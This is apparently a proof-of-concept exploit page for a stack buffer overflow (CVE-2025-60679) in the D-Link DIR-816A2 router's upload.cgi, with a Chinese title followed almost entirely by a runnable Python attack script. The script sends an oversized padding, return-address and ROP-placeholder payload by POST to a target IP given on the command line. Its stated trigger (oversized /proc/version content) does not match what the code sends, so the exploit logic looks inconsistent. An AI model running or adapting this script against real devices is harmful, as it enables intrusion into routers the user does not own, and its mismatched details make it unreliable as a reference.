D-Link DIR-816A2路由器 upload.cgi 模块栈缓冲区溢出漏洞 (CVE-2025-60679)

#!/usr/bin/env python3 """ CVE-2025-60679 PoC - D-Link DIR-816A2 Stack Buffer Overflow Note: This PoC demonstrates the vulnerability concept. Actual exploitation requires device access. """ import socket import struct def create_exploit_payload(): """ Create payload that triggers stack buffer overflow in upload.cgi The vulnerability occurs when /proc/version content exceeds 481 bytes """ # Base payload size that triggers overflow base_size = 500 # Create padding with controlled content padding = b'A' * base_size # Add return address overwrite (example address, needs adjustment) return_addr = struct.pack('<I', 0x00402000) # Example: address in .text section # Add shellcode or ROP chain indicator rop_chain = b'BBBB' * 10 # Placeholder for ROP gadgets payload = padding + return_addr + rop_chain return payload def send_exploit(target_ip, target_port=80): """ Send exploit payload to vulnerable upload.cgi endpoint """ payload = create_exploit_payload() # HTTP request to upload.cgi request = f"POST /upload.cgi HTTP/1.1\r\n" request += f"Host: {target_ip}\r\n" request += f"Content-Length: {len(payload)}\r\n" request += f"Content-Type: application/x-www-form-urlencoded\r\n" request += f"\r\n" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) try: sock.connect((target_ip, target_port)) sock.send(request.encode() + payload) print(f"[+] Exploit payload sent ({len(payload)} bytes)") response = sock.recv(4096) print(f"[+] Response received: {response[:200]}") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) send_exploit(sys.argv[1])